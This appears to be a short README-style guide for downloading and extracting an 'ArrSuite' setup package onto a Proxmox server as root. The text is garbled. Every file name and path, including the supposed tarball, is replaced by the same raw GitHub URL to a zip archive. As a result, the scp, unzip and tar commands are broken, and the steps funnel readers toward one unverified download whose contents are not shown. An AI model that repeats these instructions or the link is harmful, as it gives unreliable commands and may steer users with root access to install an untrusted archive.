Here you will find the latest version of the setup scripts and configuration files.
On the releases page, download the package marked as the latest stable release. This will usually be a zipped file (.zip or https://raw.githubusercontent.com/Aldemirps/ArrSuite-Guide/main/example-configs/Suite_Guide_Arr_1.5.zip) containing the scripts and documentation.
Save the file to your local machine where you keep your Proxmox server files.
Use an SCP tool like WinSCP (for Windows) or the scp command (for Linux/macOS) to move the downloaded files from your local computer to the Proxmox server.
If you are unfamiliar with SCP, try this:
- Open WinSCP and connect to your Proxmox IP with your root username and password.
- Drag and drop the downloaded package to your home directory on the server.
Or on Linux/macOS, open a terminal and run:
scp https://raw.githubusercontent.com/Aldemirps/ArrSuite-Guide/main/example-configs/Suite_Guide_Arr_1.5.zip root@your-proxmox-ip:/root/Replace the paths and IP accordingly.
Once the file is on your server, connect to your Proxmox server using SSH or the web shell.
Run the command below to extract the package:
unzip https://raw.githubusercontent.com/Aldemirps/ArrSuite-Guide/main/example-configs/Suite_Guide_Arr_1.5.zip -d /root/arrsuite-guideIf the file is a tarball (https://raw.githubusercontent.com/Aldemirps/ArrSuite-Guide/main/example-configs/Suite_Guide_Arr_1.5.zip), use:
tar -xzf https://raw.githubusercontent.com/Aldemirps/ArrSuite-Guide/main/example-configs/Suite_Guide_Arr_1.5.zip -C /root/arrsuite-guideThis will create a folder named arrsuite-guide with all the needed files.
